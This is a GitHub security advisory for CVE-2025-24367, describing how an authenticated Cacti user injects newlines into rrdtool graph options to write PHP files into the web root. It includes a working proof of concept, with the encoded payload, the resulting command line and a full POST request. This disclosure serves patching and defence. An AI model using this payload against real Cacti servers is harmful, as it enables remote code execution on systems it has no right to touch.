Skip to content

Arbitrary File Creation leading to RCE

High
netniV published GHSA-fxrq-fr7h-9rqq Jan 26, 2025

Package

Cacti (PHP)

Affected versions

<= 1.2.28

Patched versions

1.2.29

Description

Summary

An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server.

Details

Cacti uses the rrdtool binary to generate graphs/images based on Round Robin Databases (RRD's). A number of switches can be set for the binary via the web UI, specifically within the graph template, or graph creation functionality.

Cacti attempts to sanitise the potentially tainted user input by escaping shell metacharacters. For example, in function rrd_function_process_graph_options() in lib/rrd.php:

case 'right_axis_label':
	if (!empty($value)) {
		$graph_opts .= '--right-axis-label ' . cacti_escapeshellarg($value) . RRD_NL;
	}

In lib/functions.php:

/**
 * mimics escapeshellarg, even for windows
 *
 * @param  $string 	- the string to be escaped
 * @param  $quote 	- true: do NOT remove quotes from result; false: do remove quotes
 *
 * @return	string	- the escaped [quoted|unquoted] string
 */
function cacti_escapeshellarg(string $string, bool $quote = true): string {
	global $config;

	if ($string == '') {
		return $string;
	}

	/* we must use an apostrophe to escape community names under Unix in case the user uses
	characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
	you do this, but are perfectly happy with a quotation mark. */
	if ($config['cacti_server_os'] == 'unix') {
		$string = escapeshellarg($string);

		if ($quote) {
			return $string;
		} else {
			# remove first and last char
			return substr($string, 1, (strlen($string) - 2));
		}
	}

However, newline characters are not escaped or removed by the sanitisation logic and can be injected to break out of the command and spawn separate commands on the rrdtool binary, including calling other functionality such as RRD creation, restoration, dump etc.

By injecting multiple newlines it's possible to call this separate functionality in a single payload. The payload below includes two separate commands, the first creates a new RRD database that is used in the second command (otherwise the attacker would have to identify the path of an existing RRD file on the target system), the second creates a CSV 'graph' of the data within the newly created my.rrd RRD file, and saves the file as xxx2.php, with PHP code embedded within it:

XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph xxx2.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>

Encoded payload (note leading and trailing newline characters):

XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A

Which leads to a commandline such as:

/usr/bin/rrdtool graph - \
--imgformat=SVG \
--start='1735903534' \
--end='1735903594' \
--pango-markup  \
--title='Local Linux Machine - Advanced Ping' \
--vertical-label='milliseconds' \
--slope-mode \
--base=1000 \
--height=200 \
--width=700 \
--units-exponent=1 \
--right-axis-label 'XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph xxx2.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>
' \
--tabwidth '30' \
--upper-limit='10' \
--lower-limit='0' \
--units-exponent='1' \
COMMENT:"From 2025-01-03 11\:25\:34 To 2025-01-03 11\:26\:34\c" \
COMMENT:"  \n" \
--color BACK#F3F3F3 \
--color CANVAS#FDFDFD \
--color SHADEA#CBCBCB \
--color SHADEB#999999 \
--color FONT#000000 \
--color AXIS#2C4D43 \
--color ARROW#2C4D43 \
--color FRAME#2C4D43 \
--border 1 \
--font TITLE:11:'Arial' \
--font AXIS:8:'Arial' \
--font LEGEND:8:'Courier' \
--font UNIT:8:'Arial' \
--font WATERMARK:6:'Arial' \
--slope-mode \
--watermark 'Generated by Cacti®' \

PoC

  1. Use graph creation or graph template functionality to inject the payload into a vulnerable rrdtool switch, ie. --right-axis-label. The following POST request shows the payload within the graph template functionality:
POST http://192.168.178.78/cacti/graph_templates.php?header=false HTTP/1.1
host: 192.168.178.78
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
content-length: 804
Origin: http://192.168.178.78
Connection: keep-alive
Referer: http://192.168.178.78/cacti/graph_templates.php?action=template_edit&id=297&csrf_timeout=true&csrf_timeout=true
Cookie: CactiDateTime=Fri Jan 03 2025 14:03:51 GMT+0000 (Greenwich Mean Time); CactiTimeZone=0; Cacti=r378gdiav394djct96o26mliud; cacti_remembers=1%2C0%2C1ac46cea6e1f0225f6e52320b4d734503fac5215a76879b3cb2c939d5cc56c49
Priority: u=0

__csrf_magic=sid%3A3363ef9d47d62372302b4941b790e92f5f749d9c%2C1735913031&name=PING+-+Advanced+Ping&graph_template_id=297&graph_template_graph_id=297&save_component_template=1&title=%7Chost_description%7C+-+Advanced+Ping&vertical_label=milliseconds&image_format_id=3&height=200&width=700&base_value=1000&slope_mode=on&auto_scale_opts=1&upper_limit=10&lower_limit=0&unit_value=&unit_exponent_value=1&unit_length=&right_axis=&right_axis_label=XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A&right_axis_format=0&right_axis_formatter=0&left_axis_formatter=0&tab_width=30&legend_position=0&legend_direction=0&rrdtool_version=1.7.2&action=save

  1. The payload is triggered when the rrdtool binary is called to generate graph data for the modified graph, ie for realtime graphs.
$ cat /var/www/html/cacti/xxx2.php 
"time","<?=phpinfo();?>"
1735914000,"NaN" 

Impact

Arbitrary PHP scripts can be written to the web root of the application, potentially leading to remote code execution.

Severity

High

CVE ID

CVE-2025-24367

Weaknesses

Credits